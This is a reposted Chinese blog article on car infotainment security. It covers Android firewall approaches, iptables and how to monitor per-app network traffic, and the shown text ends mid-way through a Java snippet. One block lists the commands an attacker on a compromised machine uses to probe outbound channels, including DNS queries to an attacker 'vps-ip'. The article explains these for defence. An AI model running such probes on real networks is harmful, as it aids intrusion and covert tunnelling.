车联网安全|Android车机之ICMP隧道攻击原理与入侵检测实践
2022-8-5 09:20:8 Author: 哆啦安全(查看原文) 阅读量:15 收藏

推荐阅读

Linux常用应急溯源命令

取证|伪加密zip解密方法

Android中奇淫run-as命令

Charles+drony的APP抓包

Charles+Postern的APP抓包

Android逆向渗透测试实用清单

防止Java反编译的一些常用方法

Android Automotive概述与编译

Web安全攻防实战零基础速成培训班

检测车机中ADB远程调试控制Android系统攻击

零基础培训课程+技术指导服务(技术交流社群)

Android渗透测试frida-Brida插件加解密实战

使用frida hook对app的常用关键代码进行定位

Android应用Root检测通杀篇(ROM定制过Root/Hook等检测)

强烈推荐Google系列Android机型(Android逆向的最佳机型)

2022全球20多款知名的Android刷机ROM镜像和Android系统开源源码(覆盖全球机型)

商务合作、进群添加微信

 

【注:CSDN博客文章随着知识面的增加,会不断重构。微信公众号已发的文章,重构CSDN原文章后不会再做修改,更多精彩内容,请关注橙留香博客导读:https://orangey.blog.csdn.net/article/details/123788957】

随着智能手机越来越普及,以及3G、4G、5G网络的快速发展,越来越多的用户使用手机上网冲浪。于此同时,各类恶意软件也通过网络来盗取用户手机上的的隐私,甚至控制用户的手机,因此智能手机上的防火墙应运而生

Android 通常是一个安全的操作系统,但如上所说在浏览互联网或安装应用程序的修改版本时可能会遇到恶意网站,此类恶意网站使Android系统中的个人信息和数据处于危险之中,使该Android设备的用户成为黑客的活跃目标。这就是防火墙发挥作用的地方,防火墙应用程序可让您控制与Android的连接,从而防止病毒和黑客未经授权访问您的智能手机

与PC上的环境不同, Android手机上的网络环境相对没有那么复杂。因此现行主流的Android防火墙解决方案都是对手机里的应用设置网络访问权限,而不会像PC上的防火墙那样提供强大的网络监视、数据包过滤、端口监控等功能

     当然,随着云计算的发展,不单单针对主机、数据库、网站的漏洞利用攻击愈来愈多,且随着汽车的智能化、网联化、自动化快速发展,汽车的安全问题正面临前所未有的复杂挑战,带来暴露面引致汽车攻击面的增加,不少漏洞遭纰漏,其中包括埋藏在系统、设备中多年未被发现的漏洞,影响面非常广泛

     因此,汽车安全也值得关注

     我们来看看,随着汽车的智能化、网联化、自动化快速发展给汽车安全带来了哪些变化,同学我个人觉得汽车的安全问题正面临前所未有的复杂挑战,其中最大挑战是网联化带来暴露面增加。

     那么,要攻击一辆汽车,物理接触已非必经之路。从网络安全角度看,智能网联汽车身处“人车路云”构成的复杂网络中,每一个点、每一个暴露面,包括产生的大量数据都可能成为风险点、“投毒点”

     当汽车进入智能网联时代,数据不仅成为驱动汽车发展的重要价值点,还深度融入社会生活的方方面面,成为重要的基础资源

     这些车具有网络连接功能,通常还具有Wi-Fi热点功能用于和其他设备分享车载网络连接。具有网络连接功能的汽车通常还会扩展出其他功能来充分利用网络连接带来的优势,例如车祸自动报警求救、远程控制、远程升级[Over the Air(OTA)Update]、安全预警等

我们来看看汽车的攻击知识图谱,如下:


     这张图是从攻击者视角车联网安全会关注的点,我们来看看主要的攻击点。比如说车机是很主要的入口,WIFI、蓝牙、USB,然后还有Tbox,负责与云端后台通信,然后再往底层有一个网关,前几年可能还是传统的防火墙,现在可能会变成智能网关这样的概念,下面就是不同的域,基本走的是CAN协议,以及包括周边的一些设施,比如说充电桩、ADAS,V2X等等

现在大多数恶意软件都有一定程度的命令和控制权。黑客可以通过命令和控制权来渗透数据、告诉恶意软件下一步执行什么指令。对于每种命令和控制,攻击者都是从远程位置访问网络。因此了解网络上发生的事情对于解决这些技术至关重要,在这里就需要用到防火墙,当然Android系统中也是有防火墙应用的

在许多情况下,正确配置防火墙可以起到一定作用。比如,云服务器的一些恶意软件家族会试图在不常见的网络端口上隐藏流量,也有一些恶意软件会使用80和443等端口来尝试混入网络噪音中。在这种情况下,企业需要使用边界防火墙来提供威胁情报数据,识别恶意URL和IP地址。虽然这不会阻止所有攻击,但有助于过滤一些常见的恶意软件

如果边界防火墙无法提供威胁情报,则应将防火墙或边界日志发送到日志服务处理中心,安全引擎服务器可以对该级别数据进行深入分析

Android 防火墙实现构造图:

如上图是一个攻击者网段,一个Android 设备,以及进入Android设备中的其它两个内部网段

网络协议分析是智能硬件安全分析的一个至关重要的手段,也是最基础的分析方法之一。固件分析、手机APP分析都没有结果的情况下,需要使用网络活动分析,有的智能硬件需要你一开始就使用网络协议分析,分析出控制、通信、登录的流程,再从这几个层面对设备协议进行还原和逆向,找出逻辑上的错误等问题,最终发现漏洞,修复漏洞

网络协议分析之前,首先要分析手机端、云端、用户终端的流量关系,远程操作时手机的流量通过云端转发到用户终端,在局域网的环境下,有些智能硬件是直接跟用户终端建立连接的,所以云端没有数据

网络安全层次结构:

  • 物理层

    • 在通信线路上保障不被搭线,不被偷听,尽可能检测出来

  • 数据链路层

    • a. 点对点的链路上可以采用通信保密机进行加解密

    • b. 由第层硬件完成,对上层透明

    • c. 缺陷:无法适应多个路由器的网络,尤其Internet

  • 网络层

    • 使用防火墙技术处理信息在内外网的流动,允许或禁止某些目的主机或信息

  • 传输层

    • a. 端到端加密

    • b. 不能单独解决身份认证、访问控制问题。

  • 应用层

    • a. 身份认证并建立安全通信通道

    • b. 有Web安全、Email安全等方案

    • c. 缺陷:没有一种统一的安全方案,通过安全服务GSS-API,将服务抽象,为安全方案提供通用接口

  • 在大量TCP、UDP通信被防御系统拦截的情况下,DNS、ICMP等难以禁用的协议已经被攻击者利用,成为攻击者控制隧道的主要通道,常用的协议隧道:

    • 网络层:IPv6隧道、ICMP隧道、GRE隧道

    • 传输层:TCP隧道、UDP隧道、常规端口转发

    • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

  • 流量检测是否横向?

攻击者在利用单个系统漏洞后,通常会尝试在网络内进行横向移动。甚至通常一次只针对单个系统的勒索软件也试图在网络中移动以寻找其它攻击目标。攻击者通常会先寻找一个落脚点,然后开始在各个系统中移动,寻找更高的访问权限,以期达成最终目标

比如攻击拿下一台外部机器后,会判断内网连通性,常用判断方法如下:

// ICMP协议ping www.baidu.com// TCP协议nc -zv 192.168.1.10 80// HTTP协议curl www.baidu.com:80// curl的代理模式curl -x proxy-ip:port www.baidu.com// DNS协议,Windows下的nslookupnslookup www.baidu.com vps-ip// DNS协议,Linux下的digdig @vps-ip www.baidu.com

在缓解和检测对该特定技术的滥用方面,适当的网络分段可以在很大程度上缓解风险。将关键系统放置在一个子网中,将通用用户放置在另一个子网中,将系统管理员放置在第三个子网中,有助于快速隔离较小网络中的横向移动。在终端和交换机级别都设置防火墙也将有助于限制横向移动

1.1 什么是防火墙以及为什么要使用防火墙?

防火墙最基本的功能就是控制在计算机网络中,不同信任程度区域间传送的数据流。例如互联网是不可信任的区域,而内部网络是高度信任的区域。以避免安全策略中禁止的一些通信,与建筑中的防火墙功能相似。它有控制信息基本的任务在不同信任的区域。典型信任的区域包括互联网(一个没有信任的区域)和一个内部网络(一个高信任的区域)。最终目标是提供受控连通性在不同水平的信任区域通过安全政策的运行和连通性模型之间根据最少特权原则

用外行的话来说,防火墙是您的设备和互联网之间的无形屏障。它允许您创建一个虚拟屏障,过滤流量并阻止恶意活动,例如设备上的网络攻击

此外,它还允许您阻止特定应用程序连接到互联网。这就是为什么防火墙应用程序极大地有助于防止第三方应用程序访问私人和机密数据

1.2 应用程序流量与网络流量

传统的网络防火墙可以减少或防止对专用网络的未经授权访问。防火墙策略界定网络上允许的流量,任何其他访问都将被阻止。这有助于防止的一些网络流量包括:未经授权的用户;来自不安全区域的用户或设备的攻击

WAF 专门针对应用程序流量,保护面向互联网的网络区域中的 HTTP 和安全超文本传输协议 (HTTPS) 流量和应用程序。这样可以保护企业免受跨站脚本 (XSS) 攻击、分布式拒绝服务 (DDoS) 攻击和 SQL 注入式攻击等威胁

1.3 了解应用防火墙与网络火墙的区别

WAF 通过针对超文本传输协议 (HTTP) 流量来保护 Web 应用程序。这与标准防火墙不同,后者在外部和内部网络流量之间提供屏障

WAF 位于外部用户和 Web 应用程序之间,以分析所有 HTTP 通信。然后,它会在恶意请求到达用户或 Web 应用程序之前对其进行检测和拦截。因此,WAF 可以保护关键业务 Web 应用程序和 Web 服务器免受零日威胁及其他应用层攻击。WAF 变得日益重要,因为随着企业推行数字化新举措,可能会使新的 Web 应用程序和应用程序编程接口 (API) 容易受到攻击

网络防火墙可保护安全局域网 (LAN) 免受未经授权的访问,以防止攻击风险。其主要目标是将安全区域与不安全区域分隔开,并控制这两者之间的通信。如果没有网络防火墙,任何具有公共互联网协议 (IP) 地址的计算机都可以在网络外部被访问,并且可能面临攻击风险

  • 标准网络防火墙和 WAF 抵御不同类型的威胁,因此,选择正确的防火墙至关重要。网络防火墙本身并不能保护企业免受网页攻击,这种攻击只能通过 WAF 功能来防御。因此,如果没有应用防火墙,企业可能有更大一部分网络会受到通过 Web 应用程序漏洞发起的攻击。但是,WAF 无法保护网络层免受攻击,因此,它应该作为网络防火墙的补充,而不是取代网络防火墙。

  • Web 应用防火墙和网络防火墙解决方案在不同的层工作,防御不同类型的流量。因此,它们不是相互竞争,而是相互补充。网络防火墙通常可防御更多类型的流量,而 WAF 可处理传统方法无法应付的特定威胁。因此,最好同时使用这两种解决方案,尤其是当企业的操作系统与 Web 紧密配合时

    • WAF 应具有硬件加速器,应能够监控流量和阻止恶意访问,应具有较高的可用性,并且应可扩展,能够随着企业的发展保持性能

1.4 应用防火墙和网络防火墙各自 OSI 层面

应用防火墙和网络防火墙在技术方面的一个重要区别在于它们运行所在的安全层。开放式系统互联 (OSI) 模型定义了网络通信的各个层,该模型明确了电信和计算系统中的通信功能的特征,并使这些功能实现标准化

WAF 在 OSI 模型的第 7 层(应用层)防御攻击。例如,防御针对 Ajax、ActiveX 和 JavaScript 等应用程序的攻击,以及 Cookie 操控攻击、SQL 注入攻击和 URL 攻击。WAF 还针对用于连接网页浏览器和 Web 服务器的 Web 应用程序协议 HTTP 和 HTTPS

  • 例如,第 7 层 DDoS 攻击将大量流量发送到服务器层,服务器层会根据 HTTP 请求生成并发送网页。WAF 可以充当反向代理,保护目标服务器免受恶意流量和过滤器请求的影响,以识别 DDoS 工具的使用,从而缓解这个问题

    • 应用防火墙针对OSI模型第七层,即应用层。能理解和分析HTTP会话,可以识别和防范针对应用层的攻击,它还能向下兼容,具备一些传统网络防火墙的功能

  • 网络防火墙在 OSI 模型的第 3 和第 4 层运行,可保护数据传输和网络流量。例如,防御针对域名系统 (DNS)、文件传输协议 (FTP)、简单邮件传输协议 (SMTP)、安全外壳 (SSH) 和 Telnet 的攻击

    • 传统网络防火墙针对OIS模型的第三、四层,即网络层和传输层

1.5 Web 攻击与未授权访问

WAF 解决方案可保护企业免受针对应用程序的 Web 攻击。如果没有应用防火墙,黑客可能会通过 Web 应用程序漏洞入侵更广泛的网络。WAF 可保护企业免受常见的 Web 攻击,例如:

  • 分布式拒绝服务:试图通过大量网络流量造成网络、服务或服务器不堪重负,使之因此而陷入瘫痪。这种攻击旨在耗尽目标的资源;由于流量的恶意性质并不总是明显的,因此可能难以防御

  • SQL 注入:这种注入攻击使黑客可以执行恶意 SQL 语句,通过这些语句控制 Web 应用程序背后的数据库服务器。这使攻击者可以避开网页身份验证和授权并检索 SQL 数据库的内容,然后添加、修改和删除数据库的记录。网络罪犯可以利用 SQL 注入来访问客户信息、个人数据和知识产权。这种攻击在 2017 年 OWASP 十大安全威胁榜单中被列为第一位的 Web 应用安全威胁

  • 跨站脚本:一种 Web 安全漏洞,使攻击者可以损害用户与应用程序的交互。它使攻击者可以规避同源策略(该策略旨在分隔不同的网站)。因此,攻击者可以伪装成真正的用户,并访问他们有权访问的数据和资源

网络防火墙可防止未经授权的访问和流量进出网络,可防御针对连接到互联网的设备和系统的网络攻击。常见的网络攻击包括:

  • 未经授权的访问:攻击者未经许可访问网络。这种攻击常见的实现方式是,利用弱密码、社交工程或内部威胁来盗取凭据和入侵帐户

  • 中间人 (MITM) 攻击:攻击者拦截网络和外部站点之间或网络内部的流量。造成这种攻击的常见原因是,不安全的通信协议使得攻击者能够在传输过程中窃取数据,然后获得用户凭据并劫持用户帐户

  • 提权:攻击者可以访问网络,然后利用提权来扩大其在系统中的访问范围。提权细分为横向提权和纵向提权,前者可获得邻近系统的访问权限,后者可在同一个系统中获得更高权限

1.6 Android 防火墙应用程序【APP】

Google Play 商店有许多防火墙应用程序的应用程序并且声称是手机上最好的防火墙应用程序的应用程序。这里推荐几款 Android 中一些出色的防火墙应用程序,它们提供了最佳保护和过滤选项,当然这里我们更多的借鉴或参考

  • NetGuard

NetGuard 是最好的防火墙应用程序之一,它提供网络统计、自定义通知和规则备份等高级功能。NetGuard 使用本地 VPN 连接来过滤您的互联网流量,并允许您阻止任何应用程序通过 Wi-Fi 或数据访问互联网。

最好的事情是您可以为系统应用程序管理和创建自己的防火墙规则。这意味着您可以轻松控制哪些系统应用程序可以连接到互联网。此外,您还可以使用 NetGuard 快速减少移动数据使用量并使其持续整个月。

最重要的是,这个应用程序可以在无根设备上完美运行。虽然该应用程序是免费使用的,但您可以通过应用程序内购买来解锁更多功能,例如 IP 流量日志、自定义阻止规则和不同的应用程序主题

下载地址:https://apkpure.com/tw/netguard-no-root-firewall/eu.faircode.netguard

  • Firewall No Root【免费】

Firewall No Root 是一款功能丰富的防火墙应用程序,具有井井有条的用户界面和零广告。与其他防火墙应用程序不同,此应用程序使用人工智能,因此它会在检测到时自动阻止间谍服务器。要开始使用此应用程序,您需要选择默认启动选项:静音或警告模式。

静默模式允许所有连接,您可以根据需要阻止单个连接。如果您是初学者,我们建议您选择静音模式。警告模式是检查哪些应用程序正在静默连接到不安全的服务器。选择警告模式后,防火墙将阻止所有应用程序和服务连接到互联网。然后,您可以从快速设置面板或应用程序中手动允许应用程序。

此外,您还可以应用 AdGuard、Cloudflare、Comodo Secure DNS 等提供的 DNS 服务器,设置最适合您的私有 DNS

要设置私有 DNS 服务器,请转到设置并选择网络。现在,点击Select Provider。每个 DNS 服务器都有不同的用途;例如,如果您想阻止互联网上的广告,请从列表中选择AdGuard DNS并重新启动应用程序一次。

顾名思义,这个应用程序不需要root才能正常工作。方便地,它还提供了一个日志屏幕,向您显示手机上应用程序的活动

下载地址:https://apkpure.com/tw/firewall-no-root/com.protectstar.firewall

  • AFWall+ 【免费】

AFWall+ 需要 root 访问权限,因为它是基于 iptables 的防火墙。因此,它不会像其他防火墙应用程序那样创建 VPN。一般来说,基于 iptables 的防火墙比基于 VPN 的防火墙(如 NetGuard 和 NetProtector)更有效。但是,随着根植 Android 智能手机变得越来越困难,使用基于 VPN 的防火墙应用程序通常更容易。

AFWall+ 提供对您的网络连接的高级控制,并使您可以轻松编辑 iptables。iptable 是 Android 中一个强大的防火墙实用程序,它允许用户创建自定义规则来控制传入和传出流量

此应用程序还允许您控制不同连接(例如漫游、VPN 甚至 LAN)的防火墙规则。如果您是根用户,则绝对应该使用此应用程序而不是其他防火墙解决方案。

在使用该应用程序多个小时后,我们发现 AFWall+ 不会对您的 CPU 造成重大损失,这与 Play 商店中的其他免费防火墙应用程序不同。这意味着该应用程序可以高效运行,内存消耗低,并且不会浪费太多电池

下载地址:https://github.com/ukanth/afwall/releases

  • NetProtector【免费】

NetProtector 是另一个防火墙应用程序,用于管理手机上应用程序的传入和传出连接。此应用程序是 NetGuard(开源防火墙应用程序)的修改版本,并与 NetGuard 共享类似的用户界面。

它带有一个简单的用户界面,并提供默认的 Wi-Fi 或数据阻止选项。您可以一键轻松避免未经授权发送个人数据。

NetProtector 完全免费使用,但有时会显示广告

下载地址:https://apkpure.com/tw/netprotector-firewall-block-all-data-no-root/com.sahani2020.netprotectfirewall

  • Xproguard

如果您正在寻找一个简单的无广告防火墙应用程序,那么 Xproguard 适合您。与我们列表中的其他应用程序相比,它提供的功能很少,但防火墙规则功能完美。

Xproguard 创建一个 VPN 连接,然后根据定义的规则转移互联网流量。由于 Android 的限制,您无法连接到多个 VPN,因此您永远不应将此应用程序与任何其他 VPN 应用程序一起使用。

由于 Xproguard 是一款基于 VPN 的防火墙应用程序,因此您不需要有根智能手机即可使用它。如果您需要一个简单而有效的防火墙应用程序,请不要再犹豫了

下载地址:https://apkpure.com/tw/xproguard-firewall/com.xproguard.firewall

  1. Android应用层:敏感函数hook

绝大多数Android应用都是调用Android Framework来实现网络通讯。例如:WebView.loadUrl(),HttpClient.execute(),DefaultHttpClient.execute()等。只需穷举这些类的函数,并将它们都Hook住,就可实现拦截上网的功能了

当然,如果想要Hook这些函数入口,有两种方式:

  • 首先需要获得root权限,然后通过进程注入,将Client代码注入到应用进程,在进程上网时,应用进程将会发起IPC请求到Server进程,由Server进程来决定是否允许其访问网络

  • 通过修改应用本身来加入Hook代码,从而避免了root手机,这样相对比较安全

优点:简单、快速、可实现网络热开关(无需杀死进程)

缺点:不能拦截所有的网络访问入口。例如:某应用没有调用Android的库,而是自己实现了一个访问网络的库,或者甚至用native代码来实现,那么这时候这个方案将拦截不到任何的上网请求

  1. Android框架层:android.permission.INTERNET权限

在Android系统中,任何想访问网络的应用必须申请android.permission.INTERNET权限。当Zygote在fork()一个AndroidManifest.xml中带有这个权限的应用时,会将当前应用加到inet组中。凡是一个进程的gid组中有inet,那么这个应用就有权限上网。

因此,禁止应用上网有两种方式:

  • 修改应用的AndroidManifest.xml,使其没有android.permission.INTERNET权限

  • 获得root权限,然后注入zygote进程,使其在fork()之后,不要将inet设到应用的gid组中

优点:相对于Android应用层:敏感函数hook来说,它可以彻底的屏蔽一个应用上网。实现起来也不复杂,但是gid组一旦设定后,应用进程将再无权限修改。因此被禁止掉上网权限的进程,想要再次获得上网权限,则必须杀死,然后重新由zygote进程fork()生成

  1. Linux内核层:iptables

在Linux内核中,NetworkFilter在TCP/IP的协议栈中加了相应的Hook。通过这些Hook我们可以对网络数据包可以进行过滤,丢弃,修改等。但直接使用起来相对麻烦。幸好Linux给我们提供了一个强大的工具:iptables来简化这一过程。Iptables是一个Linux命令,通过这个命令,可以对整个系统发出去的包,接收到的包,以及转发的包进行拦截,修改,拒绝等操作。具体起使用方法,这里不再展开,有兴趣的朋友可以自行到网上搜索相应的资料即可。

iptable不仅可以按照uid来禁用应用上网,还可以分别禁用某个uid的3G上网和Wifi上网。这给用户带来的极大的方便。

优点:不需要进程注入,所以实现起来相对简单。同时能够将3G网络和Wifi网络分别禁用,用户体验将更加好。此外由于iptables的功能远不止这些,基于iptables可以实现功能更加强大的防火墙。Iptable虽然好,但是也是有缺点的,运行iptables需要root权限。基于iptables的Android防火墙目前有许多,这里有一个开源的项目 http://code.google.com/p/droidwall/有兴趣的朋友,可以研究一下

  • AFWall+(Android Firewall+):基于iptables的Android防火墙

具体使用哪一种,这需要看用户的需求,以及手机的系统环境而定

  • 如果不能获得root权限,基本思路就是定制修改apk,可以考虑加入hook代码,或者是压根在AndroidManifest.xml里将android.permission.INTERNET权限去除

  • 如果能获得root权限,可以考虑注入zygote,使之fork()之后不加入inet组,还可以注入应用进程加上敏感函数的hook

  • 用户如果希望不杀死进程也能实现上网权限的开关,并且要求可以分别禁用3G网络和Wifi网络的话,可以使用iptables

  • 手机厂商对Android系统进行定制化修改,添加一个具有root权限的service来负责iptables命令的操作。其他进程只有向这个service提出请求,才能间接调用iptables。当然app应用要和这个service沟通,必须遵循一定的协议和获得相应的授权才行,否则会存在安全风险

2.1 Linux内核层:iptables

iptables是 2.6.x 版本开始, Linux 内核集成的 IP 信息包过滤系统。如果 Linux 系统连接到因特网或 LAN、服务器或连接 LAN 和因特网的代理服务器, 则该系统有利于在 Linux 系统上更好地控制 IP 信息包过滤和防火墙配置

  • iptables 的名称说起,为什么称为"iptables" 呢?

因为这个防火墙软件里面有多个表格(table) ,每个表格都定义出自己的默认政策与规则

1)工作原理

netfilter/iptablesIP 信息包过滤系统是一种功能强大的工具, 可用于添加、编辑和除去规则,这些规则是在做信息包过滤决定时,防火墙所遵循和组成的规则。这些规则存储在专用的信息包过滤表中, 而这些表集成在 Linux 内核中。在信息包过滤表中,规则被分组放在所谓的 链(chain)中

虽然 netfilter/iptables IP 信息包过滤系统被称为单个实体,但它实际上由两个组件 netfilter和 iptables 组成

netfilter 组件也称为 内核空间(kernelspace),是内核的一部分,由一些信息包过滤表组成, 这些表包含内核用来控制信息包过滤处理的规则集

iptables组件是一种工具,也称为 用户空间(userspace),它使插入、修改和除去信息包过滤表中的规则变得容易。除非您正在使用 Red Hat Linux 7.1 或更高版本,否则需要从netfilter.org下载该工具并安装使用它

通过使用用户空间,可以构建自己的定制规则,这些规则存储在内核空间的信息包过滤表中。这些规则具有 目标,它们告诉内核对来自某些源、前往某些目的地或具有某些协议类型的信息包做些什么。如果某个信息包与规则匹配,那么使用目标 ACCEPT 允许该信息包通过。还可以使用目标 DROP 或 REJECT 来阻塞并杀死信息包。对于可对信息包执行的其它操作,还有许多其它目标

根据规则所处理的信息包的类型,可以将规则分组在链中。处理入站信息包的规则被添加到 INPUT 链中。处理出站信息包的规则被添加到 OUTPUT 链中。处理正在转发的信息包的规则被添加到 FORWARD 链中。这三个链是基本信息包过滤表中内置的缺省主链。另外,还有其它许多可用的链的类型(如 PREROUTING 和 POSTROUTING ), 以及提供用户定义的链。每个链都可以有一个 策略, 它定义“缺省目标”,也就是要执行的缺省操作,当信息包与链中的任何规则都不匹配时,执行此操作

建立规则并将链放在适当的位置之后,就可以开始进行真正的信息包过滤工作了。这时内核空间从用户空间接管工作。当信息包到达防火墙时,内核先检查信息包的头信息,尤其是信息包的目的地。我们将这个过程称为路由

如果信息包源自外界并前往系统,而且防火墙是打开的,那么内核将它传递到内核空间信息包过滤表的 INPUT 链。如果信息包源自系统内部或系统所连接的内部网上的其它源,并且此信息包要前往另一个外部系统, 那么信息包被传递到 OUTPUT 链。类似的,源自外部系统并前往外部系统的信息包被传递到 FORWARD 链

接下来,将信息包的头信息与它所传递到的链中的每条规则进行比较,看它是否与某条规则完全匹配。如果信息包与某条规则匹配,那么内核就对该信息包执行由该规则的目标指定的操作。但是,如果信息包与这条规则不匹配,那么它将与链中的下一条规则进行比较。最后,如果信息包与链中的任何规则都不匹配,那么内核将参考该链的策略来决定如何处理该信息包。理想的策略应该告诉内核 DROP 该信息包,如下图:

由于安卓内核是剪裁的linux基本核。所以,安卓内存底层数据规律和linux是一致的。研究了下其内存机制,并找到了一种合适的监控方法

比如,设备上偶会收到瞬时异常流量监控告警,当准备查看时可能流量已恢复正常,导致很难定位产生问题的原因。比如:

  • 哪个进程以发送大量数据?

  • 在和哪个IP之间传送数据?

  • 传送数据的内容是什么?

比如DDOS流量异常检测:

  • /proc/net/dev取出当前流经网卡的(接收和发送)的kb总数量,在检测间隔时间后再次读取这两个值,相减既是间隔时间段内的增量,再根据此增量做计算,算出间隔时间内的平均流量,和基准流量作比较

网络类型:

  • LTE

  • 5G

  • 4G

  • 3G

流量检测类型:

  • Wi-Fi

  • 5G

  • 4G

  • 3G

  • VPN流量

  • 瞬时流量速度

1)如何检测Android流量?

  • 检测是否通过iptables或使用VPN,将流量重定向到daemon进程

  • 使用route 命令,然后采集route表,根据采集回来的网络配置,是否存在VPN或判断对应网卡是否存在VPN状态

    • :Wi-Fi 网路通常用 wlan0,而 3G 网路通常用 rmnet0(多个 APN 时,可能用到rmnet1/rmnet2…),可以通过netcfg 命令查看所有的网路【adb shell netcfg】,该命令在Android 6.0以下没有

    • cat /proc/net/route或route命令,以及ip route命令查看路由表

  • 监听端口列表

2)Android与流量相关的系统文件

  • /proc/net/dev,记录各个网络接口(wlan、ccmni1、lo、ifb、tunl、sit、ip6tnl、p2p)发送、接收流量的值;【系统总流量】

    • 注:在Android 2.1及以下版本是没有专门的流量统计系统函数,随后在2.2版及后续版本都加入了TrafficStats类,这样就可以轻松获取系统总流量或者单个进程的流量数据。其实,TrafficStats类本身也是读取Linux提供的文件对象系统类型的文本进行解析,其中有的方法也是读取别的文件。TrafficStats类中,提供了多种静态方法,比如getMobileRxByte()可以直接调用获取通过Mobile连接收到的字节总数,getUidRxBytes()返回的是某个进程流量数据,这两个函数返回值均为long型,如果返回等于-1代表 UNSUPPORTED 当前设备不支持统计;但是要注意,在没有wifi的情况下,各进程获得的getUidRxBytes之和与getMobileRxBytes所返回的值不相等,原因在于getUidRxBytes是读取上文提到的文件,而getMobileRxBytes读取的是/sys/class/net/rmnet0/statistics/rx_bytessys/class/net/ppp0/statistics/rx_bytes这两文件。而且在getUidRxBytes返回的值中包含了本地通信的流量,比如本地进程间的socket通信。所以这两个值加起来有所出入,这也是我们在测试流量统计时偶尔也会遇到的问题,那就是在飞行模式下应用程序也会提示有几十B的2G/3G流量消耗,产生的本地通信的流量值会很小,只有几KB甚至几十B

    • 其中 lo 为本地流量,rmnet0 为移动网络流量 wlan0 为Wi-Fi流量

    • 定时自动更新网络:watch -n1 adb shell netcfgwatch -n1 adb shell cat /proc/net/dev

  • 进程级别流量监控:

    • /proc/net/{xx}:可以通过该文件拿到 tcp、udp、icmp、unix等的四元组和 inode 信息

    • /proc/{pid}/fd/:获取pid 及 socket inode文件描述符的映射关系

  • /proc/net/netstat:提供了主机的收发包数、收包字节数据【只能看到主机级别的信息,无法实现进程级别的流量采集】

  • /proc/net/snmp:提供了主机各层的IP、ICMP、ICMPMsg、TCP、UDP详细数据【只能看到主机级别的信息,无法实现进程级别的流量采集】:

平均每秒新增TCP连接数通过/proc/net/snmp文件得到最近240秒内PassiveOpens的增量,除以240得到每秒的平均增量
机器的TCP连接数通过/proc/net/snmp文件的CurrEstab得到TCP连接数
平均每秒的UDP接收数据报通过/proc/net/snmp文件得到最近240秒内InDatagrams的增量,除以240得到平均每秒的UDP接收数据报
平均每秒的UDP发送数据报通过/proc/net/snmp文件得到最近240秒内OutDatagrams的增量,除以240得到平均每秒的UDP发送数据报
  • /proc/uid_stat/app_uid,该路径下有两个文件:tcp_snd,tcp_rcv,记录了app_uid所代表的的应用程序发送、接收的流量值【单个进程流量】

  • /sys/class/net/:可以找到相关类别(如rmnet0)的目录.在其子目录statistics下游rx_bytes和tx_bytes记录收发流量

  • /sys/class/net/:每个网络接口配置的位置

    • 发送包:/sys/class/net/wlan0/statistics/tx_packets

    • 接收包:/sys/class/net/wlan0/statistics/rx_packets

    • 发送字节:/sys/class/net/wlan0/statistics/tx_bytes

    • 接收字节:/sys/class/net/wlan0/statistics/rx_bytes

    • 有些读取的

    • 发送包:/sys/class/net/ppp0/statistics/tx_packets

    • 接收包:/sys/class/net/ppp0/statistics/rx_packets

    • 发送字节:/sys/class/net/ppp0/statistics/tx_bytes

    • 接收字节:/sys/class/net/ppp0/statistics/rx_bytes

    • 发送包:/sys/class/net/rmnet0/statistics/tx_packets

    • 接收包:/sys/class/net/rmnet0/statistics/rx_packets

    • 发送字节:/sys/class/net/rmnet0/statistics/tx_bytes

    • 接收字节:/sys/class/net/rmnet0/statistics/rx_bytes

    • 3G

    • 4G

    • Wi-Fi:

  • /proc/uid_stat/{uid}/

    • Android 4.0以上版本可以用/proc/uid_stat/{uid}/tcp_rcv/proc/uid_stat/{uid}/tcp_snd来获取某个程序的上下行流量、/proc/net/xt_qtaguid/statsadb(其中第6和8列为 rx_bytes(接收数据)和tx_bytes(传输数据)包含tcp,udp等所有网络流量传输的统计);兼容性差,很多手机没有这两个文件

    • Android 4.0以下版本要用/proc/{uid}/net/dev来查看应用程序上下行流量;系统的流量信息存放在/proc/self/net/dev、/proc/net/dev

    • Android 9以下版本:读取/proc/net/xt_qtaguid/stats获取进程流量数据

    • Android 10以上的:使用eBPF,通过读取/sys/fs/bpf/traffic_uid_stats_map获取流量;Android 9 开始,内核版本为 4.9 或更高且最初搭载了 Android P 版本的 Android 设备必须使用基于 eBPF 的网络流量监控,抛弃xt_qtaguid,采用ebpf记录网络流量数据,所以无法通过/proc/net/xt_qtaguid/stats文件获取进程流量数据了

    • /proc/uid_stat/{uid}/tcp_rcv:记录该uid应用下载流量字节

    • /proc/uid_stat/{uid}/tcp_snd:记录该uid应用上传流量字节

    • /proc/{uid}/net/dev:记录应用上传和下载流量字节

adb devices                         列出所有设备
adb -s 设备名称 shell 进入对应的设备
cd proc 进入设备的属性目录
cd uid_stat 进入 user id 状态目录,每个应用程序在安装的时候系统会为每个应用分配一个对应的 uid
ls 列出 uid_stat 目录下所有应用对应的 user id 目录
cd uid 进入对应应用的 uid 目录
ls 查看对应 uid 目录下的 tcp_rcv 和 tcp_snd 目录
cat tcp_rcv 查看该应用接收的数据信息
cat tcp_snd 查看该应用发送的数据信息
  • TrafficStats【android.net.TrafficStats】:网络流量统计接口TrafficStats【android.net.TrafficStats】获取网络流量。统计数据包括传输和接收的字节以及在所有接口上通过移动接口传输和接收的网络数据包,并且基于每个UID。这些统计信息可能不适用于所有平台

    • TrafficStats.getTotalRxBytes():获取总的接收字节数,包括mobile和wifi的。对应于文档:/proc/net/dev中“Receive Bytes下所有接口的数据值

    • TrafficStats.getMobileRxBytes():获取mobile总的接收字节数;mobile指的是是使用移动网络产生的字节数。对应于文档:/proc/net/dev中“Receive Bytes”下“ccmni1”接口的数据值

    • TrafficStats.getUidRxBytes(appUid):获取某个App从所有网络接口接收到的所有字节数,包括网络流量、本地流量,本地流量指的是进程间socket通信所消耗的字节数。对应于文档:/proc/uid_stat/app_uid/ tcp_rcv中的数值

    • 两种采集流量的方式:/proc/net/dev所有流量的采集和/proc/uid_stat/***接口里面的节点数据来采集

    • :在文件里的数据是实时更新的,但是如果关机开机,那么文件里的数据是被清零的,建议每隔几分钟获取一次流量信息,可以保证获取的信息比较精准一些

    • 关键的几个函数:

    • TrafficStats接口获取上下载流量的关键代码如下:

// 获取一个包管理器PackageManager pm = getPackageManager();// 遍历手机操作系统 获取所有的应用程序的UIDList<ApplicationInfo> appliactaionInfos = pm.getInstalledApplications(0);for(ApplicationInfo applicationInfo : appliactaionInfos){
